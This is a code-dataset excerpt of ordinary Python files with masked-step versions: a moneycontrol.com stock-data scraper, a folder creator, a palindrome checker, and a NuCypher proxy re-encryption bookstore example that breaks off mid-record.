import urllib2 import csv from bs4 import BeautifulSoup url = { "Home ": 'https://www.moneycontrol.com/', # "Market": 'https://www.moneycontrol.com/stocksmarketsindia/', # "Mf Home": 'https://www.moneycontrol.com/mutualfundindia/' } def get_last_element_timestamp(url): conn = urllib2.urlopen(url) html = conn.read() soup = BeautifulSoup(html,"lxml") elements = soup.find_all('div')[-1] return elements.text def historic_data(url): csv_data = urllib2.urlopen(url) csv_reader = list(csv.reader(csv_data, delimiter=',')) return (csv_reader[-1]) for page,url_value in url.items(): print (page,get_last_element_timestamp(url_value)) # print page ## bse_info_csv="http://www.moneycontrol.com/tech_charts/bse/his/it.csv" nse_info_csv = "http://www.moneycontrol.com/tech_charts/nse/his/it.csv" historic_sensex = "http://www.moneycontrol.com/tech_charts/bse/his/sensex.csv" historic_nifty = "http://www.moneycontrol.com/tech_charts/nse/his/nifty.csv" print("Historic csv infosys => BSE") print(historic_data(bse_info_csv)) print ("Historic csv of infosys => NSE") print(historic_data(nse_info_csv)) print ("Historic csv of sensex ") print(historic_data(historic_sensex)) print ("Historic csv of nifty") print (historic_data(historic_nifty))
normal
{ "blob_id": "81f75498afcca31e38ea7856c81c291af3ef6673", "index": 7151, "step-1": "<mask token>\n\n\ndef historic_data(url):\n csv_data = urllib2.urlopen(url)\n csv_reader = list(csv.reader(csv_data, delimiter=','))\n return csv_reader[-1]\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef get_last_element_timestamp(url):\n conn = urllib2.urlopen(url)\n html = conn.read()\n soup = BeautifulSoup(html, 'lxml')\n elements = soup.find_all('div')[-1]\n return elements.text\n\n\ndef historic_data(url):\n csv_data = urllib2.urlopen(url)\n csv_reader = list(csv.reader(csv_data, delimiter=','))\n return csv_reader[-1]\n\n\nfor page, url_value in url.items():\n print(page, get_last_element_timestamp(url_value))\n<mask token>\nprint('Historic csv infosys => BSE')\nprint(historic_data(bse_info_csv))\nprint('Historic csv of infosys => NSE')\nprint(historic_data(nse_info_csv))\nprint('Historic csv of sensex ')\nprint(historic_data(historic_sensex))\nprint('Historic csv of nifty')\nprint(historic_data(historic_nifty))\n", "step-3": "<mask token>\nurl = {'Home ': 'https://www.moneycontrol.com/'}\n\n\ndef get_last_element_timestamp(url):\n conn = urllib2.urlopen(url)\n html = conn.read()\n soup = BeautifulSoup(html, 'lxml')\n elements = soup.find_all('div')[-1]\n return elements.text\n\n\ndef historic_data(url):\n csv_data = urllib2.urlopen(url)\n csv_reader = list(csv.reader(csv_data, delimiter=','))\n return csv_reader[-1]\n\n\nfor page, url_value in url.items():\n print(page, get_last_element_timestamp(url_value))\nbse_info_csv = 'http://www.moneycontrol.com/tech_charts/bse/his/it.csv'\nnse_info_csv = 'http://www.moneycontrol.com/tech_charts/nse/his/it.csv'\nhistoric_sensex = 'http://www.moneycontrol.com/tech_charts/bse/his/sensex.csv'\nhistoric_nifty = 'http://www.moneycontrol.com/tech_charts/nse/his/nifty.csv'\nprint('Historic csv infosys => BSE')\nprint(historic_data(bse_info_csv))\nprint('Historic csv of infosys => NSE')\nprint(historic_data(nse_info_csv))\nprint('Historic csv of sensex ')\nprint(historic_data(historic_sensex))\nprint('Historic csv of nifty')\nprint(historic_data(historic_nifty))\n", "step-4": "import urllib2\nimport csv\nfrom bs4 import BeautifulSoup\nurl = {'Home ': 'https://www.moneycontrol.com/'}\n\n\ndef get_last_element_timestamp(url):\n conn = urllib2.urlopen(url)\n html = conn.read()\n soup = BeautifulSoup(html, 'lxml')\n elements = soup.find_all('div')[-1]\n return elements.text\n\n\ndef historic_data(url):\n csv_data = urllib2.urlopen(url)\n csv_reader = list(csv.reader(csv_data, delimiter=','))\n return csv_reader[-1]\n\n\nfor page, url_value in url.items():\n print(page, get_last_element_timestamp(url_value))\nbse_info_csv = 'http://www.moneycontrol.com/tech_charts/bse/his/it.csv'\nnse_info_csv = 'http://www.moneycontrol.com/tech_charts/nse/his/it.csv'\nhistoric_sensex = 'http://www.moneycontrol.com/tech_charts/bse/his/sensex.csv'\nhistoric_nifty = 'http://www.moneycontrol.com/tech_charts/nse/his/nifty.csv'\nprint('Historic csv infosys => BSE')\nprint(historic_data(bse_info_csv))\nprint('Historic csv of infosys => NSE')\nprint(historic_data(nse_info_csv))\nprint('Historic csv of sensex ')\nprint(historic_data(historic_sensex))\nprint('Historic csv of nifty')\nprint(historic_data(historic_nifty))\n", "step-5": "import urllib2\nimport csv\nfrom bs4 import BeautifulSoup\nurl = {\n \"Home \": 'https://www.moneycontrol.com/',\n# \"Market\": 'https://www.moneycontrol.com/stocksmarketsindia/',\n# \"Mf Home\": 'https://www.moneycontrol.com/mutualfundindia/'\n}\ndef get_last_element_timestamp(url):\n conn = urllib2.urlopen(url)\n html = conn.read()\n soup = BeautifulSoup(html,\"lxml\")\n elements = soup.find_all('div')[-1]\n return elements.text\n\ndef historic_data(url):\n csv_data = urllib2.urlopen(url)\n csv_reader = list(csv.reader(csv_data, delimiter=','))\n return (csv_reader[-1])\n\nfor page,url_value in url.items():\n print (page,get_last_element_timestamp(url_value))\n# print page\n##\nbse_info_csv=\"http://www.moneycontrol.com/tech_charts/bse/his/it.csv\"\nnse_info_csv = \"http://www.moneycontrol.com/tech_charts/nse/his/it.csv\"\nhistoric_sensex = \"http://www.moneycontrol.com/tech_charts/bse/his/sensex.csv\"\nhistoric_nifty = \"http://www.moneycontrol.com/tech_charts/nse/his/nifty.csv\"\nprint(\"Historic csv infosys => BSE\")\nprint(historic_data(bse_info_csv))\nprint (\"Historic csv of infosys => NSE\")\nprint(historic_data(nse_info_csv)) \nprint (\"Historic csv of sensex \")\nprint(historic_data(historic_sensex))\nprint (\"Historic csv of nifty\")\nprint (historic_data(historic_nifty)) \n\n\n\n\n", "step-ids": [ 1, 3, 4, 5, 6 ] }
[ 1, 3, 4, 5, 6 ]
import os timeslices = ['0_' + str(x) + '_' + str(y) for x in range(30,100) for y in range(0,6)] #print timeslices def make_Folders(names): for n in names: if not os.path.exists(n): os.makedirs(n) make_Folders(timeslices)
normal
{ "blob_id": "426396c981fe56230e39b81e156e7c6877e39055", "index": 2213, "step-1": "<mask token>\n\n\ndef make_Folders(names):\n for n in names:\n if not os.path.exists(n):\n os.makedirs(n)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef make_Folders(names):\n for n in names:\n if not os.path.exists(n):\n os.makedirs(n)\n\n\nmake_Folders(timeslices)\n", "step-3": "<mask token>\ntimeslices = [('0_' + str(x) + '_' + str(y)) for x in range(30, 100) for y in\n range(0, 6)]\n\n\ndef make_Folders(names):\n for n in names:\n if not os.path.exists(n):\n os.makedirs(n)\n\n\nmake_Folders(timeslices)\n", "step-4": "import os\ntimeslices = [('0_' + str(x) + '_' + str(y)) for x in range(30, 100) for y in\n range(0, 6)]\n\n\ndef make_Folders(names):\n for n in names:\n if not os.path.exists(n):\n os.makedirs(n)\n\n\nmake_Folders(timeslices)\n", "step-5": "import os\n\n\ntimeslices = ['0_' + str(x) + '_' + str(y) for x in range(30,100) for y in range(0,6)]\n\n#print timeslices\n\n\ndef make_Folders(names):\n for n in names:\n if not os.path.exists(n):\n os.makedirs(n)\n\nmake_Folders(timeslices)\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
def is_palindrome_v2(word): '''(string)->boolean returns if word is palindrome (ignores white space)''' if len(word) < 2: return True if(not word[0].isalpha() or not word[1].isalpha()): if(word[0].isalpha()): return is_palindrome_v2(word[:-1]) if(word[-1].isalpha()): return is_palindrome_v2(word[1:]) else: return is_palindrome_v2(word[2:-2]) if word[0].lower() != word[-1].lower(): return False return is_palindrome_v2(word[1:-1])
normal
{ "blob_id": "1fbe269c9c09fe58b0df1ebd4354cf9dc31a2f90", "index": 7739, "step-1": "<mask token>\n", "step-2": "def is_palindrome_v2(word):\n \"\"\"(string)->boolean\n returns if word is palindrome (ignores white space)\"\"\"\n if len(word) < 2:\n return True\n if not word[0].isalpha() or not word[1].isalpha():\n if word[0].isalpha():\n return is_palindrome_v2(word[:-1])\n if word[-1].isalpha():\n return is_palindrome_v2(word[1:])\n else:\n return is_palindrome_v2(word[2:-2])\n if word[0].lower() != word[-1].lower():\n return False\n return is_palindrome_v2(word[1:-1])\n", "step-3": "def is_palindrome_v2(word):\r\n '''(string)->boolean\r\n returns if word is palindrome (ignores white space)'''\r\n if len(word) < 2:\r\n return True\r\n if(not word[0].isalpha() or not word[1].isalpha()):\r\n if(word[0].isalpha()):\r\n return is_palindrome_v2(word[:-1])\r\n if(word[-1].isalpha()):\r\n return is_palindrome_v2(word[1:])\r\n else:\r\n return is_palindrome_v2(word[2:-2])\r\n if word[0].lower() != word[-1].lower():\r\n return False\r\n return is_palindrome_v2(word[1:-1])\r\n \r\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
<|reserved_special_token_0|> class Author(object): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> class Book(object): def __init__(self, author): self.author = author self.content = b'PlainText of the book' self.label = b'book' class BookStoreEthContract(object): """ The contract receiving the rewards and selling the books """ def __init__(self, book, author, price, purchase_event_hook): self.book = book self.rewardee = author self.price = price self.purchase_event_hook = purchase_event_hook def fallback(self, sender, amount): print('Received %s ETH from %s' % (amount, sender.account.address)) if amount == self.price: sender.balance -= amount self.rewardee.balance += amount return self.purchase_event_hook(sender) class BookStoreDelivery(object): def __init__(self, book): self.book = book self.author = book.author def deliver_purchase(self, to): policy_end_datetime = maya.now() + datetime.timedelta(days=5) policy = author.character.grant(first_buyer.character, self.book. label, m=m, n=n, expiration=policy_end_datetime) author_pubkey = bytes(self.author.character.stamp) data_source = DataSource(policy_pubkey_enc=policy.public_key) message_kit, _signature = data_source.encapsulate_single_message(self .book.content) data_source_public_key = bytes(data_source.stamp) return (author_pubkey, policy.public_key, data_source_public_key, self.book.label, message_kit) class Buyer(ETHAccount): """ The person who pays for the book and receives content """ balance = 100 def __init__(self, eth_pk_bytes, character): self.account = Account.create(eth_pk_bytes) self.character = character <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class ETHAccount(object): def send_eth_to(self, to, amount): return to.fallback(self, amount) class Author(object): """ The author of the book """ balance = 0 def __init__(self, eth_pk_bytes, character): self.account = Account.create(eth_pk_bytes) self.character = character class Book(object): def __init__(self, author): self.author = author self.content = b'PlainText of the book' self.label = b'book' class BookStoreEthContract(object): """ The contract receiving the rewards and selling the books """ def __init__(self, book, author, price, purchase_event_hook): self.book = book self.rewardee = author self.price = price self.purchase_event_hook = purchase_event_hook def fallback(self, sender, amount): print('Received %s ETH from %s' % (amount, sender.account.address)) if amount == self.price: sender.balance -= amount self.rewardee.balance += amount return self.purchase_event_hook(sender) class BookStoreDelivery(object): def __init__(self, book): self.book = book self.author = book.author def deliver_purchase(self, to): policy_end_datetime = maya.now() + datetime.timedelta(days=5) policy = author.character.grant(first_buyer.character, self.book. label, m=m, n=n, expiration=policy_end_datetime) author_pubkey = bytes(self.author.character.stamp) data_source = DataSource(policy_pubkey_enc=policy.public_key) message_kit, _signature = data_source.encapsulate_single_message(self .book.content) data_source_public_key = bytes(data_source.stamp) return (author_pubkey, policy.public_key, data_source_public_key, self.book.label, message_kit) class Buyer(ETHAccount): """ The person who pays for the book and receives content """ balance = 100 def __init__(self, eth_pk_bytes, character): self.account = Account.create(eth_pk_bytes) self.character = character <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> with open('examples-runtime-cruft/node-metadata-{}'.format( teacher_rest_port), 'r') as f: f.seek(0) teacher_bytes = binascii.unhexlify(f.read()) <|reserved_special_token_0|> print('Will learn from {}'.format(URSULA)) <|reserved_special_token_0|> shutil.rmtree(CRUFTSPACE, ignore_errors=True) os.mkdir(CRUFTSPACE) os.mkdir(CERTIFICATE_DIR) URSULA.save_certificate_to_disk(CERTIFICATE_DIR) class ETHAccount(object): def send_eth_to(self, to, amount): return to.fallback(self, amount) class Author(object): """ The author of the book """ balance = 0 def __init__(self, eth_pk_bytes, character): self.account = Account.create(eth_pk_bytes) self.character = character class Book(object): def __init__(self, author): self.author = author self.content = b'PlainText of the book' self.label = b'book' class BookStoreEthContract(object): """ The contract receiving the rewards and selling the books """ def __init__(self, book, author, price, purchase_event_hook): self.book = book self.rewardee = author self.price = price self.purchase_event_hook = purchase_event_hook def fallback(self, sender, amount): print('Received %s ETH from %s' % (amount, sender.account.address)) if amount == self.price: sender.balance -= amount self.rewardee.balance += amount return self.purchase_event_hook(sender) class BookStoreDelivery(object): def __init__(self, book): self.book = book self.author = book.author def deliver_purchase(self, to): policy_end_datetime = maya.now() + datetime.timedelta(days=5) policy = author.character.grant(first_buyer.character, self.book. label, m=m, n=n, expiration=policy_end_datetime) author_pubkey = bytes(self.author.character.stamp) data_source = DataSource(policy_pubkey_enc=policy.public_key) message_kit, _signature = data_source.encapsulate_single_message(self .book.content) data_source_public_key = bytes(data_source.stamp) return (author_pubkey, policy.public_key, data_source_public_key, self.book.label, message_kit) class Buyer(ETHAccount): """ The person who pays for the book and receives content """ balance = 100 def __init__(self, eth_pk_bytes, character): self.account = Account.create(eth_pk_bytes) self.character = character <|reserved_special_token_0|> author.character.start_learning_loop(now=True) <|reserved_special_token_0|> first_buyer.character.join_policy(label, bytes(author.character.stamp), node_list=[('localhost', 3601)]) <|reserved_special_token_0|> print(delivered_cleartexts) <|reserved_special_token_1|> from eth_account.account import Account from nucypher.characters.lawful import Alice, Bob, Ursula from nucypher.network.middleware import RestMiddleware from nucypher.data_sources import DataSource from umbral.keys import UmbralPublicKey import sys import os import binascii import shutil import maya import datetime teacher_rest_port = 3501 m = 2 n = 3 with open('examples-runtime-cruft/node-metadata-{}'.format( teacher_rest_port), 'r') as f: f.seek(0) teacher_bytes = binascii.unhexlify(f.read()) URSULA = Ursula.from_bytes(teacher_bytes, federated_only=True) print('Will learn from {}'.format(URSULA)) SHARED_CRUFTSPACE = '{}/examples-runtime-cruft'.format(os.path.dirname(os. path.abspath(__file__))) CRUFTSPACE = '{}/drm'.format(SHARED_CRUFTSPACE) CERTIFICATE_DIR = '{}/certs'.format(CRUFTSPACE) shutil.rmtree(CRUFTSPACE, ignore_errors=True) os.mkdir(CRUFTSPACE) os.mkdir(CERTIFICATE_DIR) URSULA.save_certificate_to_disk(CERTIFICATE_DIR) class ETHAccount(object): def send_eth_to(self, to, amount): return to.fallback(self, amount) class Author(object): """ The author of the book """ balance = 0 def __init__(self, eth_pk_bytes, character): self.account = Account.create(eth_pk_bytes) self.character = character class Book(object): def __init__(self, author): self.author = author self.content = b'PlainText of the book' self.label = b'book' class BookStoreEthContract(object): """ The contract receiving the rewards and selling the books """ def __init__(self, book, author, price, purchase_event_hook): self.book = book self.rewardee = author self.price = price self.purchase_event_hook = purchase_event_hook def fallback(self, sender, amount): print('Received %s ETH from %s' % (amount, sender.account.address)) if amount == self.price: sender.balance -= amount self.rewardee.balance += amount return self.purchase_event_hook(sender) class BookStoreDelivery(object): def __init__(self, book): self.book = book self.author = book.author def deliver_purchase(self, to): policy_end_datetime = maya.now() + datetime.timedelta(days=5) policy = author.character.grant(first_buyer.character, self.book. label, m=m, n=n, expiration=policy_end_datetime) author_pubkey = bytes(self.author.character.stamp) data_source = DataSource(policy_pubkey_enc=policy.public_key) message_kit, _signature = data_source.encapsulate_single_message(self .book.content) data_source_public_key = bytes(data_source.stamp) return (author_pubkey, policy.public_key, data_source_public_key, self.book.label, message_kit) class Buyer(ETHAccount): """ The person who pays for the book and receives content """ balance = 100 def __init__(self, eth_pk_bytes, character): self.account = Account.create(eth_pk_bytes) self.character = character author = Author(b"Author's ETH account", Alice(network_middleware= RestMiddleware(), known_nodes=(URSULA,), federated_only=True, known_certificates_dir=CERTIFICATE_DIR)) author.character.start_learning_loop(now=True) book = Book(author) first_buyer = Buyer(b"First Buyer's ETH account", Bob(known_nodes=(URSULA,), federated_only=True, known_certificates_dir=CERTIFICATE_DIR)) book_store_delivery = BookStoreDelivery(book) book_store_contract = BookStoreEthContract(book, author, 10, book_store_delivery.deliver_purchase) (author_public_key, policy_public_key, data_source_public_key, label, kit ) = first_buyer.send_eth_to(book_store_contract, 10) first_buyer.character.join_policy(label, bytes(author.character.stamp), node_list=[('localhost', 3601)]) datasource_as_understood_by_bob = DataSource.from_public_keys(policy_public_key =policy_public_key, datasource_public_key=data_source_public_key, label =label) alice_pubkey_restored_from_ancient_scroll = UmbralPublicKey.from_bytes( author_public_key) delivered_cleartexts = first_buyer.character.retrieve(message_kit=kit, data_source=datasource_as_understood_by_bob, alice_verifying_key= alice_pubkey_restored_from_ancient_scroll) print(delivered_cleartexts) <|reserved_special_token_1|> from eth_account.account import Account from nucypher.characters.lawful import Alice, Bob, Ursula from nucypher.network.middleware import RestMiddleware from nucypher.data_sources import DataSource from umbral.keys import UmbralPublicKey import sys import os import binascii import shutil import maya import datetime teacher_rest_port = 3501 m = 2 n = 3 with open("examples-runtime-cruft/node-metadata-{}".format(teacher_rest_port), "r") as f: f.seek(0) teacher_bytes = binascii.unhexlify(f.read()) URSULA = Ursula.from_bytes(teacher_bytes, federated_only=True) print("Will learn from {}".format(URSULA)) SHARED_CRUFTSPACE = "{}/examples-runtime-cruft".format(os.path.dirname(os.path.abspath(__file__))) CRUFTSPACE = "{}/drm".format(SHARED_CRUFTSPACE) CERTIFICATE_DIR = "{}/certs".format(CRUFTSPACE) shutil.rmtree(CRUFTSPACE, ignore_errors=True) os.mkdir(CRUFTSPACE) os.mkdir(CERTIFICATE_DIR) URSULA.save_certificate_to_disk(CERTIFICATE_DIR) class ETHAccount(object): def send_eth_to(self, to, amount): return(to.fallback(self, amount)) class Author(object): """ The author of the book """ balance = 0 def __init__(self, eth_pk_bytes, character): self.account = Account.create(eth_pk_bytes) self.character = character class Book(object): def __init__(self, author): self.author = author self.content = b"PlainText of the book" self.label = b"book" class BookStoreEthContract(object): """ The contract receiving the rewards and selling the books """ def __init__(self, book, author, price, purchase_event_hook): self.book = book self.rewardee = author self.price = price self.purchase_event_hook = purchase_event_hook def fallback(self, sender, amount): print("Received %s ETH from %s" % (amount, sender.account.address)) if amount == self.price: sender.balance -= amount self.rewardee.balance += amount return(self.purchase_event_hook(sender)) class BookStoreDelivery(object): def __init__(self, book): self.book = book self.author = book.author def deliver_purchase(self, to): policy_end_datetime = maya.now() + datetime.timedelta(days=5) policy = author.character.grant(first_buyer.character, self.book.label, m=m, n=n, expiration=policy_end_datetime) author_pubkey = bytes(self.author.character.stamp) data_source = DataSource(policy_pubkey_enc=policy.public_key) message_kit, _signature = data_source.encapsulate_single_message(self.book.content) data_source_public_key = bytes(data_source.stamp) return (author_pubkey, policy.public_key, data_source_public_key, self.book.label, message_kit) class Buyer(ETHAccount): """ The person who pays for the book and receives content """ balance = 100 def __init__(self, eth_pk_bytes, character): self.account = Account.create(eth_pk_bytes) self.character = character author = Author(b"Author's ETH account", Alice(network_middleware=RestMiddleware(), known_nodes=(URSULA,), federated_only=True, known_certificates_dir=CERTIFICATE_DIR,)) author.character.start_learning_loop(now=True) book = Book(author) first_buyer = Buyer(b"First Buyer's ETH account", Bob(known_nodes=(URSULA,), federated_only=True, known_certificates_dir=CERTIFICATE_DIR)) book_store_delivery = BookStoreDelivery(book) book_store_contract = BookStoreEthContract(book, author, 10, book_store_delivery.deliver_purchase) author_public_key, policy_public_key, data_source_public_key, label, kit = first_buyer.send_eth_to(book_store_contract, 10) first_buyer.character.join_policy(label, # The label - he needs to know what data he's after. bytes(author.character.stamp), # To verify the signature, he'll need Alice's public key. # He can also bootstrap himself onto the network more quickly # by providing a list of known nodes at this time. node_list=[("localhost", 3601)] ) datasource_as_understood_by_bob = DataSource.from_public_keys( policy_public_key=policy_public_key, datasource_public_key=data_source_public_key, label=label ) alice_pubkey_restored_from_ancient_scroll = UmbralPublicKey.from_bytes(author_public_key) delivered_cleartexts = first_buyer.character.retrieve(message_kit=kit, data_source=datasource_as_understood_by_bob, alice_verifying_key=alice_pubkey_restored_from_ancient_scroll) print(delivered_cleartexts)
flexible
{ "blob_id": "bc843abecfc076c9413498f9ebba0da0857ad3cc", "index": 4103, "step-1": "<mask token>\n\n\nclass Author(object):\n <mask token>\n <mask token>\n <mask token>\n\n\nclass Book(object):\n\n def __init__(self, author):\n self.author = author\n self.content = b'PlainText of the book'\n self.label = b'book'\n\n\nclass BookStoreEthContract(object):\n \"\"\"\n The contract receiving the rewards and selling the books\n \"\"\"\n\n def __init__(self, book, author, price, purchase_event_hook):\n self.book = book\n self.rewardee = author\n self.price = price\n self.purchase_event_hook = purchase_event_hook\n\n def fallback(self, sender, amount):\n print('Received %s ETH from %s' % (amount, sender.account.address))\n if amount == self.price:\n sender.balance -= amount\n self.rewardee.balance += amount\n return self.purchase_event_hook(sender)\n\n\nclass BookStoreDelivery(object):\n\n def __init__(self, book):\n self.book = book\n self.author = book.author\n\n def deliver_purchase(self, to):\n policy_end_datetime = maya.now() + datetime.timedelta(days=5)\n policy = author.character.grant(first_buyer.character, self.book.\n label, m=m, n=n, expiration=policy_end_datetime)\n author_pubkey = bytes(self.author.character.stamp)\n data_source = DataSource(policy_pubkey_enc=policy.public_key)\n message_kit, _signature = data_source.encapsulate_single_message(self\n .book.content)\n data_source_public_key = bytes(data_source.stamp)\n return (author_pubkey, policy.public_key, data_source_public_key,\n self.book.label, message_kit)\n\n\nclass Buyer(ETHAccount):\n \"\"\"\n The person who pays for the book and receives content\n \"\"\"\n balance = 100\n\n def __init__(self, eth_pk_bytes, character):\n self.account = Account.create(eth_pk_bytes)\n self.character = character\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass ETHAccount(object):\n\n def send_eth_to(self, to, amount):\n return to.fallback(self, amount)\n\n\nclass Author(object):\n \"\"\"\n The author of the book\n \"\"\"\n balance = 0\n\n def __init__(self, eth_pk_bytes, character):\n self.account = Account.create(eth_pk_bytes)\n self.character = character\n\n\nclass Book(object):\n\n def __init__(self, author):\n self.author = author\n self.content = b'PlainText of the book'\n self.label = b'book'\n\n\nclass BookStoreEthContract(object):\n \"\"\"\n The contract receiving the rewards and selling the books\n \"\"\"\n\n def __init__(self, book, author, price, purchase_event_hook):\n self.book = book\n self.rewardee = author\n self.price = price\n self.purchase_event_hook = purchase_event_hook\n\n def fallback(self, sender, amount):\n print('Received %s ETH from %s' % (amount, sender.account.address))\n if amount == self.price:\n sender.balance -= amount\n self.rewardee.balance += amount\n return self.purchase_event_hook(sender)\n\n\nclass BookStoreDelivery(object):\n\n def __init__(self, book):\n self.book = book\n self.author = book.author\n\n def deliver_purchase(self, to):\n policy_end_datetime = maya.now() + datetime.timedelta(days=5)\n policy = author.character.grant(first_buyer.character, self.book.\n label, m=m, n=n, expiration=policy_end_datetime)\n author_pubkey = bytes(self.author.character.stamp)\n data_source = DataSource(policy_pubkey_enc=policy.public_key)\n message_kit, _signature = data_source.encapsulate_single_message(self\n .book.content)\n data_source_public_key = bytes(data_source.stamp)\n return (author_pubkey, policy.public_key, data_source_public_key,\n self.book.label, message_kit)\n\n\nclass Buyer(ETHAccount):\n \"\"\"\n The person who pays for the book and receives content\n \"\"\"\n balance = 100\n\n def __init__(self, eth_pk_bytes, character):\n self.account = Account.create(eth_pk_bytes)\n self.character = character\n\n\n<mask token>\n", "step-3": "<mask token>\nwith open('examples-runtime-cruft/node-metadata-{}'.format(\n teacher_rest_port), 'r') as f:\n f.seek(0)\n teacher_bytes = binascii.unhexlify(f.read())\n<mask token>\nprint('Will learn from {}'.format(URSULA))\n<mask token>\nshutil.rmtree(CRUFTSPACE, ignore_errors=True)\nos.mkdir(CRUFTSPACE)\nos.mkdir(CERTIFICATE_DIR)\nURSULA.save_certificate_to_disk(CERTIFICATE_DIR)\n\n\nclass ETHAccount(object):\n\n def send_eth_to(self, to, amount):\n return to.fallback(self, amount)\n\n\nclass Author(object):\n \"\"\"\n The author of the book\n \"\"\"\n balance = 0\n\n def __init__(self, eth_pk_bytes, character):\n self.account = Account.create(eth_pk_bytes)\n self.character = character\n\n\nclass Book(object):\n\n def __init__(self, author):\n self.author = author\n self.content = b'PlainText of the book'\n self.label = b'book'\n\n\nclass BookStoreEthContract(object):\n \"\"\"\n The contract receiving the rewards and selling the books\n \"\"\"\n\n def __init__(self, book, author, price, purchase_event_hook):\n self.book = book\n self.rewardee = author\n self.price = price\n self.purchase_event_hook = purchase_event_hook\n\n def fallback(self, sender, amount):\n print('Received %s ETH from %s' % (amount, sender.account.address))\n if amount == self.price:\n sender.balance -= amount\n self.rewardee.balance += amount\n return self.purchase_event_hook(sender)\n\n\nclass BookStoreDelivery(object):\n\n def __init__(self, book):\n self.book = book\n self.author = book.author\n\n def deliver_purchase(self, to):\n policy_end_datetime = maya.now() + datetime.timedelta(days=5)\n policy = author.character.grant(first_buyer.character, self.book.\n label, m=m, n=n, expiration=policy_end_datetime)\n author_pubkey = bytes(self.author.character.stamp)\n data_source = DataSource(policy_pubkey_enc=policy.public_key)\n message_kit, _signature = data_source.encapsulate_single_message(self\n .book.content)\n data_source_public_key = bytes(data_source.stamp)\n return (author_pubkey, policy.public_key, data_source_public_key,\n self.book.label, message_kit)\n\n\nclass Buyer(ETHAccount):\n \"\"\"\n The person who pays for the book and receives content\n \"\"\"\n balance = 100\n\n def __init__(self, eth_pk_bytes, character):\n self.account = Account.create(eth_pk_bytes)\n self.character = character\n\n\n<mask token>\nauthor.character.start_learning_loop(now=True)\n<mask token>\nfirst_buyer.character.join_policy(label, bytes(author.character.stamp),\n node_list=[('localhost', 3601)])\n<mask token>\nprint(delivered_cleartexts)\n", "step-4": "from eth_account.account import Account\nfrom nucypher.characters.lawful import Alice, Bob, Ursula\nfrom nucypher.network.middleware import RestMiddleware\nfrom nucypher.data_sources import DataSource\nfrom umbral.keys import UmbralPublicKey\nimport sys\nimport os\nimport binascii\nimport shutil\nimport maya\nimport datetime\nteacher_rest_port = 3501\nm = 2\nn = 3\nwith open('examples-runtime-cruft/node-metadata-{}'.format(\n teacher_rest_port), 'r') as f:\n f.seek(0)\n teacher_bytes = binascii.unhexlify(f.read())\nURSULA = Ursula.from_bytes(teacher_bytes, federated_only=True)\nprint('Will learn from {}'.format(URSULA))\nSHARED_CRUFTSPACE = '{}/examples-runtime-cruft'.format(os.path.dirname(os.\n path.abspath(__file__)))\nCRUFTSPACE = '{}/drm'.format(SHARED_CRUFTSPACE)\nCERTIFICATE_DIR = '{}/certs'.format(CRUFTSPACE)\nshutil.rmtree(CRUFTSPACE, ignore_errors=True)\nos.mkdir(CRUFTSPACE)\nos.mkdir(CERTIFICATE_DIR)\nURSULA.save_certificate_to_disk(CERTIFICATE_DIR)\n\n\nclass ETHAccount(object):\n\n def send_eth_to(self, to, amount):\n return to.fallback(self, amount)\n\n\nclass Author(object):\n \"\"\"\n The author of the book\n \"\"\"\n balance = 0\n\n def __init__(self, eth_pk_bytes, character):\n self.account = Account.create(eth_pk_bytes)\n self.character = character\n\n\nclass Book(object):\n\n def __init__(self, author):\n self.author = author\n self.content = b'PlainText of the book'\n self.label = b'book'\n\n\nclass BookStoreEthContract(object):\n \"\"\"\n The contract receiving the rewards and selling the books\n \"\"\"\n\n def __init__(self, book, author, price, purchase_event_hook):\n self.book = book\n self.rewardee = author\n self.price = price\n self.purchase_event_hook = purchase_event_hook\n\n def fallback(self, sender, amount):\n print('Received %s ETH from %s' % (amount, sender.account.address))\n if amount == self.price:\n sender.balance -= amount\n self.rewardee.balance += amount\n return self.purchase_event_hook(sender)\n\n\nclass BookStoreDelivery(object):\n\n def __init__(self, book):\n self.book = book\n self.author = book.author\n\n def deliver_purchase(self, to):\n policy_end_datetime = maya.now() + datetime.timedelta(days=5)\n policy = author.character.grant(first_buyer.character, self.book.\n label, m=m, n=n, expiration=policy_end_datetime)\n author_pubkey = bytes(self.author.character.stamp)\n data_source = DataSource(policy_pubkey_enc=policy.public_key)\n message_kit, _signature = data_source.encapsulate_single_message(self\n .book.content)\n data_source_public_key = bytes(data_source.stamp)\n return (author_pubkey, policy.public_key, data_source_public_key,\n self.book.label, message_kit)\n\n\nclass Buyer(ETHAccount):\n \"\"\"\n The person who pays for the book and receives content\n \"\"\"\n balance = 100\n\n def __init__(self, eth_pk_bytes, character):\n self.account = Account.create(eth_pk_bytes)\n self.character = character\n\n\nauthor = Author(b\"Author's ETH account\", Alice(network_middleware=\n RestMiddleware(), known_nodes=(URSULA,), federated_only=True,\n known_certificates_dir=CERTIFICATE_DIR))\nauthor.character.start_learning_loop(now=True)\nbook = Book(author)\nfirst_buyer = Buyer(b\"First Buyer's ETH account\", Bob(known_nodes=(URSULA,),\n federated_only=True, known_certificates_dir=CERTIFICATE_DIR))\nbook_store_delivery = BookStoreDelivery(book)\nbook_store_contract = BookStoreEthContract(book, author, 10,\n book_store_delivery.deliver_purchase)\n(author_public_key, policy_public_key, data_source_public_key, label, kit\n ) = first_buyer.send_eth_to(book_store_contract, 10)\nfirst_buyer.character.join_policy(label, bytes(author.character.stamp),\n node_list=[('localhost', 3601)])\ndatasource_as_understood_by_bob = DataSource.from_public_keys(policy_public_key\n =policy_public_key, datasource_public_key=data_source_public_key, label\n =label)\nalice_pubkey_restored_from_ancient_scroll = UmbralPublicKey.from_bytes(\n author_public_key)\ndelivered_cleartexts = first_buyer.character.retrieve(message_kit=kit,\n data_source=datasource_as_understood_by_bob, alice_verifying_key=\n alice_pubkey_restored_from_ancient_scroll)\nprint(delivered_cleartexts)\n", "step-5": "from eth_account.account import Account\nfrom nucypher.characters.lawful import Alice, Bob, Ursula\nfrom nucypher.network.middleware import RestMiddleware\nfrom nucypher.data_sources import DataSource\nfrom umbral.keys import UmbralPublicKey\nimport sys\nimport os\nimport binascii\nimport 